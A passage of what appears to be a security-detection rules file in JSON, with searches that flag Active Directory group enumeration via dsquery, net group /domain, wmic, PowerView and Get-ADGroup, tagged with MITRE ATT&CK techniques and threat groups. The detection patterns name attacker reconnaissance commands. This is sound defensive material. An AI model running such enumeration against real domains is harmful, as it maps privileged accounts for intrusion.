- { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Domain Group Discovery With Dsquery", - "description": "The following analytic identifies the execution of `dsquery.exe` with command-line arguments used to query for domain groups. It leverages Endpoint Detection and Response (EDR) data, focusing on process names and command-line arguments. This activity is significant because both Red Teams and adversaries use `dsquery.exe` to enumerate domain groups, gaining situational awareness and facilitating further Active Directory discovery. If confirmed malicious, this behavior could allow attackers to map out the domain structure, identify high-value targets, and plan subsequent attacks, potentially leading to privilege escalation or data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"dsquery.exe\") (Processes.process=\"*group*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `domain_group_discovery_with_dsquery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Domain Group Discovery With Net", - "description": "The following analytic identifies the execution of `net.exe` with command-line arguments used to query domain groups, specifically `group /domain`. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant as it indicates potential reconnaissance efforts by adversaries to enumerate domain groups, which is a common step in Active Directory Discovery. If confirmed malicious, this behavior could allow attackers to gain insights into the domain structure, aiding in further attacks such as privilege escalation or lateral movement.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"net.exe\" OR Processes.process_name=\"net1.exe\") (Processes.process=*group* AND Processes.process=*/do*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `domain_group_discovery_with_net_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Graceful Wipe Out Attack", - "Prestige Ransomware", - "Rhysida Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Domain Group Discovery With Wmic", - "description": "The following analytic identifies the execution of `wmic.exe` with command-line arguments used to query for domain groups. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential reconnaissance efforts by adversaries to gain situational awareness and map out Active Directory structures. If confirmed malicious, this behavior could allow attackers to identify and target specific domain groups, potentially leading to privilege escalation or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"wmic.exe\") (Processes.process=*/NAMESPACE:\\\\\\\\root\\\\directory\\\\ldap* AND Processes.process=*ds_group* AND Processes.process=\"*GET ds_samaccountname*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `domain_group_discovery_with_wmic_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Elevated Group Discovery With Net", - "description": "The following analytic detects the execution of `net.exe` or `net1.exe` with command-line arguments used to query elevated domain groups. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential reconnaissance efforts by adversaries to identify high-privileged users within Active Directory. If confirmed malicious, this behavior could lead to further attacks aimed at compromising privileged accounts, escalating privileges, or gaining unauthorized access to sensitive systems and data.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"net.exe\" OR Processes.process_name=\"net1.exe\") (Processes.process=\"*group*\" AND Processes.process=\"*/do*\") (Processes.process=\"*Domain Admins*\" OR Processes.process=\"*Enterprise Admins*\" OR Processes.process=\"*Schema Admins*\" OR Processes.process=\"*Account Operators*\" OR Processes.process=\"*Server Operators*\" OR Processes.process=\"*Protected Users*\" OR Processes.process=\"*Dns Admins*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `elevated_group_discovery_with_net_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Rhysida Ransomware", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Elevated domain group discovery enumeration on $dest$ by $user$", - "risk_score": 21, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Elevated Group Discovery with PowerView", - "description": "The following analytic detects the execution of the `Get-DomainGroupMember` cmdlet from PowerView, identified through PowerShell Script Block Logging (EventCode=4104). This cmdlet is used to enumerate members of elevated domain groups such as Domain Admins and Enterprise Admins. Monitoring this activity is crucial as it indicates potential reconnaissance efforts by adversaries to identify high-privileged users within the domain. If confirmed malicious, this activity could lead to targeted attacks on privileged accounts, facilitating further compromise and lateral movement within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Get-DomainGroupMember*\") AND ScriptBlockText IN (\"*Domain Admins*\",\"*Enterprise Admins*\", \"*Schema Admins*\", \"*Account Operators*\" , \"*Server Operators*\", \"*Protected Users*\", \"*Dns Admins*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `elevated_group_discovery_with_powerview_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Elevated group discovery using PowerView on $dest$ by $user$", - "risk_score": 21, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Elevated Group Discovery With Wmic", - "description": "The following analytic detects the execution of `wmic.exe` with command-line arguments querying specific elevated domain groups. It leverages Endpoint Detection and Response (EDR) telemetry to identify processes that access the LDAP namespace and search for groups like \"Domain Admins\" or \"Enterprise Admins.\" This activity is significant as it indicates potential reconnaissance efforts by adversaries to identify high-privilege accounts within Active Directory. If confirmed malicious, this behavior could lead to privilege escalation, allowing attackers to gain elevated access and control over critical network resources.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"wmic.exe\") (Processes.process=*/NAMESPACE:\\\\\\\\root\\\\directory\\\\ldap*) (Processes.process=\"*Domain Admins*\" OR Processes.process=\"*Enterprise Admins*\" OR Processes.process=\"*Schema Admins*\" OR Processes.process=\"*Account Operators*\" OR Processes.process=\"*Server Operators*\" OR Processes.process=\"*Protected Users*\" OR Processes.process=\"*Dns Admins*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `elevated_group_discovery_with_wmic_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Elevated domain group discovery enumeration on $dest$ by $user$", - "risk_score": 21, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "GetAdGroup with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with the `Get-AdGroup` commandlet, which is used to query domain groups in a Windows Domain. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. Monitoring this activity is crucial as it may indicate an adversary or Red Team enumerating domain groups for situational awareness and Active Directory discovery. If confirmed malicious, this activity could lead to further reconnaissance, privilege escalation, or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=*Get-AdGroup*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getadgroup_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "GetAdGroup with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-AdGroup` PowerShell cmdlet using PowerShell Script Block Logging (EventCode=4104). This cmdlet is used to enumerate all domain groups, which adversaries may exploit for situational awareness and Active Directory discovery. Monitoring this activity is crucial as it can indicate reconnaissance efforts within the network. If confirmed malicious, this behavior could lead to further exploitation, such as privilege escalation or lateral movement, by providing attackers with detailed information about the domain's group structure.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-ADGroup*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getadgroup_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration using PowerShell on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "GetDomainGroup with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with command-line arguments that query for domain groups using `Get-DomainGroup`. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions mapped to the `Processes` node of the `Endpoint` data model. Monitoring this activity is crucial as `Get-DomainGroup` is part of PowerView, a tool often used by adversaries for domain enumeration and situational awareness. If confirmed malicious, this activity could allow attackers to gain insights into domain group structures, aiding in further exploitation and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=*Get-DomainGroup*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getdomaingroup_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery with PowerView on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "GetDomainGroup with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-DomainGroup` cmdlet using PowerShell Script Block Logging (EventCode=4104). This cmdlet, part of the PowerView tool, is used to enumerate domain groups within a Windows domain. The detection leverages script block text to identify this specific command. Monitoring this activity is crucial as it may indicate an adversary or Red Team performing reconnaissance to gain situational awareness and map out Active Directory structures. If confirmed malicious, this activity could lead to further exploitation, including privilege escalation and lateral movement within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Get-DomainGroup*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `getdomaingroup_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration using PowerView on $Computer$ by $UserID$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "GetWmiObject Ds Group with PowerShell", - "description": "The following analytic identifies the execution of `powershell.exe` with command-line arguments used to query domain groups via the `Get-WmiObject` cmdlet and the `-class ds_group` parameter. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential reconnaissance efforts by adversaries to enumerate domain groups, which is a common step in Active Directory Discovery. If confirmed malicious, this could allow attackers to gain insights into the domain structure, aiding in further attacks and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=*Get-WmiObject* AND Processes.process=\"*namespace root\\\\directory\\\\ldap*\" AND Processes.process=\"*class ds_group*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getwmiobject_ds_group_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "GetWmiObject Ds Group with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-WmiObject` commandlet with the `DS_Group` parameter via PowerShell Script Block Logging (EventCode=4104). This method leverages WMI to query all domain groups. Monitoring this activity is crucial as adversaries and Red Teams may use it for domain group enumeration, aiding in situational awareness and Active Directory discovery. If confirmed malicious, this activity could allow attackers to map out the domain structure, potentially leading to further exploitation and privilege escalation within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText=*Get-WmiObject* AND ScriptBlockText=\"*namespace root\\\\directory\\\\ldap*\" AND ScriptBlockText=\"*class ds_group*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`|`getwmiobject_ds_group_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration using PowerShell on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Network Traffic to Active Directory Web Services Protocol", - "description": "The following analytic identifies network traffic directed to the Active Directory Web Services Protocol (ADWS) on port 9389. It leverages network traffic logs, focusing on source and destination IP addresses, application names, and destination ports. This activity is significant as ADWS is used to manage Active Directory, and unauthorized access could indicate malicious intent. If confirmed malicious, an attacker could manipulate Active Directory, potentially leading to privilege escalation, unauthorized access, or persistent control over the environment.", - "search": "| tstats count from datamodel=Network_Traffic where All_Traffic.dest_port=9389 by All_Traffic.src_ip, All_Traffic.dest_ip, All_Traffic.app, All_Traffic.user, All_Traffic.dest_port | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Traffic\")` | `network_traffic_to_active_directory_web_services_protocol_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Network", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "dest_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - } - ], - "message": "Network traffic to Active Directory Web Services Protocol was identified on $dest_ip$ by $src_ip$.", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Windows Ldifde Directory Object Behavior", - "description": "The following analytic identifies the use of Ldifde.exe, a command-line utility for creating, modifying, or deleting LDAP directory objects. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution and command-line arguments. Monitoring Ldifde.exe is significant because it can be used by attackers to manipulate directory objects, potentially leading to unauthorized changes or data exfiltration. If confirmed malicious, this activity could allow an attacker to gain control over directory services, escalate privileges, or access sensitive information within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=ldifde.exe Processes.process IN (\"*-i *\", \"*-f *\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_ldifde_directory_object_behavior_filter`", - "tags": { - "analytic_story": [ - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ utilizing ldifde on a domain controller.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - 